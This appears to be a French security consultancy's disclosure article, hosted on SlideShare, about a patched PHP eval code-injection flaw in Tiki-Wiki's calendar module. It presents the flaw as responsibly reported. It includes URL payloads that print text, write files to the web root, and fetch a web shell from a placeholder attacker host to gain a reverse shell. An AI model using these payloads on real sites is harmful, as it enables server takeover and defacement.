SlideShare une entreprise Scribd logo
410 St-Nicolas, bureau 236, Montréal (Québec) H2Y 2P5 Tél. : 514 544-0442 Fax : 514 840-3998
Montréal, le 15 mars 2016
Tiki-Wiki le jour 0 au calendrier
Avertissement : Le contenu de cet article se veut informatif et est publié dans un esprit de
partage avec les professionnels de la sécurité. SecurEcom Services Conseils se dégage de toute
utilisation illicite des informations qui suivent.
Au cours des derniers mois, j’ai découvert une vulnérabilité critique lors d’un test d’intrusion
sur un site web. Cette vulnérabilité touche le module calendrier du CMS, Tiki-Wiki. Avant
d’expliquer techniquement cette vulnérabilité, il est important de décrire la façon employée
pour la deceller.
Ce qui est le plus surprenant au sujet de cette vulnérabilité, c’est qu’elle fut identifiée et
signalée que dernièrement malgré qu’elle soit présente depuis très longtemps. Cette
vulnérabilité affecte toutes les versions supportées de Tiki-Wiki (considérant que le calendrier
est activé). Compte tenu de la popularité de ce produit utilisé par des milliers de sites web, il est
surprenant que je sois le premier testeur à m’y attaquer et à déceler cette faille.
L’approche méthodique habituelle m’a permis de découvrir et d’exploiter cette faille qui est
d’une simplicité effarante.
Lors d’un test d’intrusion, j’effectue systématiquement les mêmes étapes :
 Recherche d’information
 Analyse des résultats
 Exploration des cibles prometteuses
 Tentatives d’attaque successives
Que ce soit pour un site web, une application, une infrastructure réseau ou des services et
serveurs, le principe demeure le même. Les mêmes étapes se succèdent, la phase de recherche
d’information s’appuie sur une multitude d’outils informatiques et d’explorations manuelles.
Dans le cas de l’application de calendrier sur le Tiki-wiki, certains indices relevés lors de l’analyse
m’ont permis d’identifier une anomalie sur le fichier tiki-calendar.php. En effet, certains
balayages m’indiquaient qu’il y avait possiblement une mauvaise protection de la fonction
« eval » utilisée par le dit module.
« Cette faille se produit lorsqu’un attaquant peut contrôler en tout ou en partie une chaîne
d'entrée qui est introduite dans un appel de fonction eval (). »
Fréquemment, les outils de balayage de vulnérabilités rapportent ce que l’on nomme de faux
positifs. C’est pourquoi chaque élément rapporté doit faire l’objet d’une analyse manuelle.
410 St-Nicolas, bureau 236, Montréal (Québec) H2Y 2P5 Tél. : 514 544-0442 Fax : 514 840-3998
Après quelques tests manuels, j’ai décelé qu’il me suffisait d’altérer la requête web pour faire
réagir le serveur, c’est-à-dire d’exécuter du code PHP.
À partir de ce point, il suffit d’intégrer quelques fichiers PHP au site en modifiant directement le
contenu de la barre d’adresse du navigateur. Ceci permet d’obtenir une console de commande
connectée directement sur le serveur. Maintenant, le contrôle complet du site et du contenu est
obtenu.
Description techniques de l’attaque
Je ne présenterai pas l’enchainement complet des étapes pour obtenir une telle console mais je
fournirai suffisament d’éléments pour permettre aux intéressés de comprendre comment on
peut exploiter une faille de type « PHP Remote Code Execution ».
Premièrement, pour valider si une faille est exploitable, il suffit de modifier la barre d’adresse du
navigateur pour y insérer une commande qui permet d’afficher un mot sur la page et de voir le
résultat. Si le mot s’affiche, l’exécution de commandes sur le site est possible.
Ex.1 Ajouter une commande à la fin de la barre d’adresse sur une vue du calendrier :
';print(Securecom);$a='
Résultats :
EX.2 Inclurer une nouvelle page ou « effacer » l’index principal du site :
'; $z=fopen("index6.php",'w'); fwrite($z,("SecurEcom"));fclose($z);$a='
Résultats :
410 St-Nicolas, bureau 236, Montréal (Québec) H2Y 2P5 Tél. : 514 544-0442 Fax : 514 840-3998
Ex.3 Inclure un fichier de commande PHP au site.
Cette fois la commande demande au serveur de copier le contenu d’un fichier situé sur
l’ordinateur du pirate et de créer le fichier shell.php à la racine du site. Il suffit ensuite de visiter
l’adresse du site qui contient le fichier pour exécuter les commandes PHP qu’il contient. En
l’occurrence, le fichier peut contenir un « shellcode » de connexion inverse. L’attaquant recevra
donc la console dans une connexion en attente.
'; $z=fopen("shell.php",'w');fwrite($z,file_get_contents("http://AdresseDuPirate/
shellphp_et_Datachaos/msf2.txt"));fclose($z);'
Résultats :
Plusieurs autres exemples de ce genre pourraient être donnés mais les intéressés par le sujet
auront compris l’essentiel de l’attaque. Il faut se rappeler que toutes les applications sont
susceptibles de contenir ce genre de faille. Elle était présente depuis très longtemps malgré
qu’elle soit si simple à exploiter. C’est pour cette raison, qu’il ne faut jamais assumer lors d’un
test d’intrusion. La vérification consciencieuse de chaque élément est la garantie du succès.
À noter que cette vulnérabilité a été déclarée à l’équipe de sécurité de Tiki-Wiki et elle a fait
l’objet d’une mise à jour de sécurité importante.
http://tiki.org/article414-Important-Security-Fix-for-all-versions-of-Tiki
Dany Ouellet, OSCP
SecurEcom Services Conseils inc.
Dany.ouellet@securecom.ca
www.securecom.ca

Contenu connexe

En vedette

La renaissance littéraire Les Humanistes La République des lettres
La renaissance littéraire Les Humanistes La République des lettresLa renaissance littéraire Les Humanistes La République des lettres
La renaissance littéraire Les Humanistes La République des lettres
coriolan76
 
Video Series #2/4 (free training) | Alejandro Delobelle
Video Series #2/4 (free training) | Alejandro DelobelleVideo Series #2/4 (free training) | Alejandro Delobelle
Video Series #2/4 (free training) | Alejandro Delobelle
Alejandro Delobelle
 
Pass through des taux directeurs de la Banque Centrale
Pass through des taux directeurs de la Banque Centrale Pass through des taux directeurs de la Banque Centrale
Pass through des taux directeurs de la Banque Centrale
Diverscj
 
3 questions sur le tres secret groupe bilderberg
3 questions sur le tres secret groupe bilderberg3 questions sur le tres secret groupe bilderberg
3 questions sur le tres secret groupe bilderbergAnonDownload
 
Andreetti & Associés - Chasseur de têtes spécialiste
Andreetti & Associés - Chasseur de têtes spécialisteAndreetti & Associés - Chasseur de têtes spécialiste
Andreetti & Associés - Chasseur de têtes spécialisteEric Andreetti
 
Quien soy deja_huella
Quien soy deja_huellaQuien soy deja_huella
Quien soy deja_huella
amigosvirtuales27
 
neogotica fortaleza policial
neogotica fortaleza policialneogotica fortaleza policial
neogotica fortaleza policial
siomara77
 
Impulsor 3 Modelo De Liderazgo 2020
Impulsor 3 Modelo De Liderazgo 2020Impulsor 3 Modelo De Liderazgo 2020
Impulsor 3 Modelo De Liderazgo 2020
Alejandro Delobelle
 
Dossier de presse medibat fr
Dossier de presse medibat frDossier de presse medibat fr
Dossier de presse medibat fr
ramzikallel
 
La MàQuina De Vapor
La MàQuina De VaporLa MàQuina De Vapor
La MàQuina De Vapor
andradeandrea15
 
OSM-NE
OSM-NEOSM-NE
OSM-NE
osmniger2014
 
thesfull
thesfullthesfull
thesfull
Dan HERNEST
 
gabyy
gabyygabyy
Big Data - El Futuro a través de los Datos
Big Data - El Futuro a través de los DatosBig Data - El Futuro a través de los Datos
Big Data - El Futuro a través de los Datos
Oscar Corcho
 
Matemagicas
MatemagicasMatemagicas
Matemagicas
Johnwill Torres
 
Historia De El Salvador
Historia De El SalvadorHistoria De El Salvador
Historia De El Salvadorguest4dfcdf6
 
El Reciclaje
El ReciclajeEl Reciclaje
El Reciclaje
Amgrajmg
 
Digital toolbox acfr
Digital toolbox acfrDigital toolbox acfr
Digital toolbox acfr
Netadvise
 

En vedette (20)

La renaissance littéraire Les Humanistes La République des lettres
La renaissance littéraire Les Humanistes La République des lettresLa renaissance littéraire Les Humanistes La République des lettres
La renaissance littéraire Les Humanistes La République des lettres
 
Dissertation
DissertationDissertation
Dissertation
 
Video Series #2/4 (free training) | Alejandro Delobelle
Video Series #2/4 (free training) | Alejandro DelobelleVideo Series #2/4 (free training) | Alejandro Delobelle
Video Series #2/4 (free training) | Alejandro Delobelle
 
Pass through des taux directeurs de la Banque Centrale
Pass through des taux directeurs de la Banque Centrale Pass through des taux directeurs de la Banque Centrale
Pass through des taux directeurs de la Banque Centrale
 
3 questions sur le tres secret groupe bilderberg
3 questions sur le tres secret groupe bilderberg3 questions sur le tres secret groupe bilderberg
3 questions sur le tres secret groupe bilderberg
 
Andreetti & Associés - Chasseur de têtes spécialiste
Andreetti & Associés - Chasseur de têtes spécialisteAndreetti & Associés - Chasseur de têtes spécialiste
Andreetti & Associés - Chasseur de têtes spécialiste
 
Quien soy deja_huella
Quien soy deja_huellaQuien soy deja_huella
Quien soy deja_huella
 
neogotica fortaleza policial
neogotica fortaleza policialneogotica fortaleza policial
neogotica fortaleza policial
 
Impulsor 3 Modelo De Liderazgo 2020
Impulsor 3 Modelo De Liderazgo 2020Impulsor 3 Modelo De Liderazgo 2020
Impulsor 3 Modelo De Liderazgo 2020
 
Dossier de presse medibat fr
Dossier de presse medibat frDossier de presse medibat fr
Dossier de presse medibat fr
 
La MàQuina De Vapor
La MàQuina De VaporLa MàQuina De Vapor
La MàQuina De Vapor
 
OSM-NE
OSM-NEOSM-NE
OSM-NE
 
thesfull
thesfullthesfull
thesfull
 
gabyy
gabyygabyy
gabyy
 
Big Data - El Futuro a través de los Datos
Big Data - El Futuro a través de los DatosBig Data - El Futuro a través de los Datos
Big Data - El Futuro a través de los Datos
 
Matemagicas
MatemagicasMatemagicas
Matemagicas
 
Historia De El Salvador
Historia De El SalvadorHistoria De El Salvador
Historia De El Salvador
 
El Reciclaje
El ReciclajeEl Reciclaje
El Reciclaje
 
Digital toolbox acfr
Digital toolbox acfrDigital toolbox acfr
Digital toolbox acfr
 
isli_fr
isli_frisli_fr
isli_fr
 

Similaire à Tiki-VUL-ARTICLE-DO-final-AS1mai2016

Forensics: Banking Troubles
Forensics: Banking TroublesForensics: Banking Troubles
Sécurité des applications web: attaque et défense
Sécurité des applications web: attaque et défenseSécurité des applications web: attaque et défense
Sécurité des applications web: attaque et défense
Antonio Fontes
 
Déploiement PHP : de l'âge de pierre à nos jours.
Déploiement PHP : de l'âge de pierre à nos jours.Déploiement PHP : de l'âge de pierre à nos jours.
Déploiement PHP : de l'âge de pierre à nos jours.
Amélie DUVERNET
 
White paper: SSTIC 2008: Advanced CSRF
White paper: SSTIC 2008: Advanced CSRFWhite paper: SSTIC 2008: Advanced CSRF
White paper: SSTIC 2008: Advanced CSRF
Manfred Touron
 
La sécurité des applications avec ESAPI
La sécurité des applications avec ESAPILa sécurité des applications avec ESAPI
La sécurité des applications avec ESAPI
Takfarinas KENOUCHE
 
Industrialisation PHP - Canal+
Industrialisation PHP - Canal+Industrialisation PHP - Canal+
Industrialisation PHP - Canal+
ekino
 
Présentation de CakePHP, 22/04/2010
Présentation de CakePHP, 22/04/2010Présentation de CakePHP, 22/04/2010
Présentation de CakePHP, 22/04/2010
Guillaume Sautereau
 
Sécurité des Applications WEB -LEVEL1
 Sécurité des Applications WEB-LEVEL1 Sécurité des Applications WEB-LEVEL1
Sécurité des Applications WEB -LEVEL1Tarek MOHAMED
 
ASP.NET MVC 6
ASP.NET MVC 6ASP.NET MVC 6
ASP.NET MVC 6
Microsoft
 
Présentation de Node.js
Présentation de Node.jsPrésentation de Node.js
Présentation de Node.js
Mickael Couzinet
 
Waf, le bon outil, la bonne administration
Waf, le bon outil, la bonne administration Waf, le bon outil, la bonne administration
Waf, le bon outil, la bonne administration
Bee_Ware
 
Démo Gatling au Performance User Group de Casablanca - 25 sept 2014
Démo Gatling au Performance User Group de Casablanca - 25 sept 2014Démo Gatling au Performance User Group de Casablanca - 25 sept 2014
Démo Gatling au Performance User Group de Casablanca - 25 sept 2014
Benoît de CHATEAUVIEUX
 
Jenkins - perdre du temps pour en gagner
Jenkins - perdre du temps pour en gagnerJenkins - perdre du temps pour en gagner
Jenkins - perdre du temps pour en gagner
Geeks Anonymes
 
Service Workers
Service WorkersService Workers
Service Workers
Mathieu Le Bihan
 
Les méthodes agiles dans TFS
Les méthodes agiles dans TFSLes méthodes agiles dans TFS
Les méthodes agiles dans TFS
Denis Voituron
 
Symphonie pour PHP industrialisé en agilité majeure
Symphonie pour PHP industrialisé en agilité majeureSymphonie pour PHP industrialisé en agilité majeure
Symphonie pour PHP industrialisé en agilité majeure
Jonathan Bonzy
 
Symphonie pour PHP industrialisé en agilité majeure
Symphonie pour PHP industrialisé en agilité majeureSymphonie pour PHP industrialisé en agilité majeure
Symphonie pour PHP industrialisé en agilité majeureMarc Nazarian
 
Reverse Engineering d'un ransomware
Reverse Engineering d'un ransomwareReverse Engineering d'un ransomware
Reverse Engineering d'un ransomware
NinaSAMMUT
 
XebiCon'16 : WeScale - DNS as a Service, the OpenStack way. Par Pascal Edoua...
XebiCon'16 : WeScale - DNS as a Service, the OpenStack way.  Par Pascal Edoua...XebiCon'16 : WeScale - DNS as a Service, the OpenStack way.  Par Pascal Edoua...
XebiCon'16 : WeScale - DNS as a Service, the OpenStack way. Par Pascal Edoua...
Publicis Sapient Engineering
 

Similaire à Tiki-VUL-ARTICLE-DO-final-AS1mai2016 (20)

Forensics: Banking Troubles
Forensics: Banking TroublesForensics: Banking Troubles
Forensics: Banking Troubles
 
Sécurité des applications web: attaque et défense
Sécurité des applications web: attaque et défenseSécurité des applications web: attaque et défense
Sécurité des applications web: attaque et défense
 
Déploiement PHP : de l'âge de pierre à nos jours.
Déploiement PHP : de l'âge de pierre à nos jours.Déploiement PHP : de l'âge de pierre à nos jours.
Déploiement PHP : de l'âge de pierre à nos jours.
 
White paper: SSTIC 2008: Advanced CSRF
White paper: SSTIC 2008: Advanced CSRFWhite paper: SSTIC 2008: Advanced CSRF
White paper: SSTIC 2008: Advanced CSRF
 
La sécurité des applications avec ESAPI
La sécurité des applications avec ESAPILa sécurité des applications avec ESAPI
La sécurité des applications avec ESAPI
 
Industrialisation PHP - Canal+
Industrialisation PHP - Canal+Industrialisation PHP - Canal+
Industrialisation PHP - Canal+
 
Présentation de CakePHP, 22/04/2010
Présentation de CakePHP, 22/04/2010Présentation de CakePHP, 22/04/2010
Présentation de CakePHP, 22/04/2010
 
Sécurité des Applications WEB -LEVEL1
 Sécurité des Applications WEB-LEVEL1 Sécurité des Applications WEB-LEVEL1
Sécurité des Applications WEB -LEVEL1
 
ASP.NET MVC 6
ASP.NET MVC 6ASP.NET MVC 6
ASP.NET MVC 6
 
Présentation de Node.js
Présentation de Node.jsPrésentation de Node.js
Présentation de Node.js
 
Waf, le bon outil, la bonne administration
Waf, le bon outil, la bonne administration Waf, le bon outil, la bonne administration
Waf, le bon outil, la bonne administration
 
Démo Gatling au Performance User Group de Casablanca - 25 sept 2014
Démo Gatling au Performance User Group de Casablanca - 25 sept 2014Démo Gatling au Performance User Group de Casablanca - 25 sept 2014
Démo Gatling au Performance User Group de Casablanca - 25 sept 2014
 
Jenkins - perdre du temps pour en gagner
Jenkins - perdre du temps pour en gagnerJenkins - perdre du temps pour en gagner
Jenkins - perdre du temps pour en gagner
 
20100114 Waf V0.7
20100114 Waf V0.720100114 Waf V0.7
20100114 Waf V0.7
 
Service Workers
Service WorkersService Workers
Service Workers
 
Les méthodes agiles dans TFS
Les méthodes agiles dans TFSLes méthodes agiles dans TFS
Les méthodes agiles dans TFS
 
Symphonie pour PHP industrialisé en agilité majeure
Symphonie pour PHP industrialisé en agilité majeureSymphonie pour PHP industrialisé en agilité majeure
Symphonie pour PHP industrialisé en agilité majeure
 
Symphonie pour PHP industrialisé en agilité majeure
Symphonie pour PHP industrialisé en agilité majeureSymphonie pour PHP industrialisé en agilité majeure
Symphonie pour PHP industrialisé en agilité majeure
 
Reverse Engineering d'un ransomware
Reverse Engineering d'un ransomwareReverse Engineering d'un ransomware
Reverse Engineering d'un ransomware
 
XebiCon'16 : WeScale - DNS as a Service, the OpenStack way. Par Pascal Edoua...
XebiCon'16 : WeScale - DNS as a Service, the OpenStack way.  Par Pascal Edoua...XebiCon'16 : WeScale - DNS as a Service, the OpenStack way.  Par Pascal Edoua...
XebiCon'16 : WeScale - DNS as a Service, the OpenStack way. Par Pascal Edoua...
 

Tiki-VUL-ARTICLE-DO-final-AS1mai2016

  • 1. 410 St-Nicolas, bureau 236, Montréal (Québec) H2Y 2P5 Tél. : 514 544-0442 Fax : 514 840-3998 Montréal, le 15 mars 2016 Tiki-Wiki le jour 0 au calendrier Avertissement : Le contenu de cet article se veut informatif et est publié dans un esprit de partage avec les professionnels de la sécurité. SecurEcom Services Conseils se dégage de toute utilisation illicite des informations qui suivent. Au cours des derniers mois, j’ai découvert une vulnérabilité critique lors d’un test d’intrusion sur un site web. Cette vulnérabilité touche le module calendrier du CMS, Tiki-Wiki. Avant d’expliquer techniquement cette vulnérabilité, il est important de décrire la façon employée pour la deceller. Ce qui est le plus surprenant au sujet de cette vulnérabilité, c’est qu’elle fut identifiée et signalée que dernièrement malgré qu’elle soit présente depuis très longtemps. Cette vulnérabilité affecte toutes les versions supportées de Tiki-Wiki (considérant que le calendrier est activé). Compte tenu de la popularité de ce produit utilisé par des milliers de sites web, il est surprenant que je sois le premier testeur à m’y attaquer et à déceler cette faille. L’approche méthodique habituelle m’a permis de découvrir et d’exploiter cette faille qui est d’une simplicité effarante. Lors d’un test d’intrusion, j’effectue systématiquement les mêmes étapes :  Recherche d’information  Analyse des résultats  Exploration des cibles prometteuses  Tentatives d’attaque successives Que ce soit pour un site web, une application, une infrastructure réseau ou des services et serveurs, le principe demeure le même. Les mêmes étapes se succèdent, la phase de recherche d’information s’appuie sur une multitude d’outils informatiques et d’explorations manuelles. Dans le cas de l’application de calendrier sur le Tiki-wiki, certains indices relevés lors de l’analyse m’ont permis d’identifier une anomalie sur le fichier tiki-calendar.php. En effet, certains balayages m’indiquaient qu’il y avait possiblement une mauvaise protection de la fonction « eval » utilisée par le dit module. « Cette faille se produit lorsqu’un attaquant peut contrôler en tout ou en partie une chaîne d'entrée qui est introduite dans un appel de fonction eval (). » Fréquemment, les outils de balayage de vulnérabilités rapportent ce que l’on nomme de faux positifs. C’est pourquoi chaque élément rapporté doit faire l’objet d’une analyse manuelle.
  • 2. 410 St-Nicolas, bureau 236, Montréal (Québec) H2Y 2P5 Tél. : 514 544-0442 Fax : 514 840-3998 Après quelques tests manuels, j’ai décelé qu’il me suffisait d’altérer la requête web pour faire réagir le serveur, c’est-à-dire d’exécuter du code PHP. À partir de ce point, il suffit d’intégrer quelques fichiers PHP au site en modifiant directement le contenu de la barre d’adresse du navigateur. Ceci permet d’obtenir une console de commande connectée directement sur le serveur. Maintenant, le contrôle complet du site et du contenu est obtenu. Description techniques de l’attaque Je ne présenterai pas l’enchainement complet des étapes pour obtenir une telle console mais je fournirai suffisament d’éléments pour permettre aux intéressés de comprendre comment on peut exploiter une faille de type « PHP Remote Code Execution ». Premièrement, pour valider si une faille est exploitable, il suffit de modifier la barre d’adresse du navigateur pour y insérer une commande qui permet d’afficher un mot sur la page et de voir le résultat. Si le mot s’affiche, l’exécution de commandes sur le site est possible. Ex.1 Ajouter une commande à la fin de la barre d’adresse sur une vue du calendrier : ';print(Securecom);$a=' Résultats : EX.2 Inclurer une nouvelle page ou « effacer » l’index principal du site : '; $z=fopen("index6.php",'w'); fwrite($z,("SecurEcom"));fclose($z);$a=' Résultats :
  • 3. 410 St-Nicolas, bureau 236, Montréal (Québec) H2Y 2P5 Tél. : 514 544-0442 Fax : 514 840-3998 Ex.3 Inclure un fichier de commande PHP au site. Cette fois la commande demande au serveur de copier le contenu d’un fichier situé sur l’ordinateur du pirate et de créer le fichier shell.php à la racine du site. Il suffit ensuite de visiter l’adresse du site qui contient le fichier pour exécuter les commandes PHP qu’il contient. En l’occurrence, le fichier peut contenir un « shellcode » de connexion inverse. L’attaquant recevra donc la console dans une connexion en attente. '; $z=fopen("shell.php",'w');fwrite($z,file_get_contents("http://AdresseDuPirate/ shellphp_et_Datachaos/msf2.txt"));fclose($z);' Résultats : Plusieurs autres exemples de ce genre pourraient être donnés mais les intéressés par le sujet auront compris l’essentiel de l’attaque. Il faut se rappeler que toutes les applications sont susceptibles de contenir ce genre de faille. Elle était présente depuis très longtemps malgré qu’elle soit si simple à exploiter. C’est pour cette raison, qu’il ne faut jamais assumer lors d’un test d’intrusion. La vérification consciencieuse de chaque élément est la garantie du succès. À noter que cette vulnérabilité a été déclarée à l’équipe de sécurité de Tiki-Wiki et elle a fait l’objet d’une mise à jour de sécurité importante. http://tiki.org/article414-Important-Security-Fix-for-all-versions-of-Tiki Dany Ouellet, OSCP SecurEcom Services Conseils inc. Dany.ouellet@securecom.ca www.securecom.ca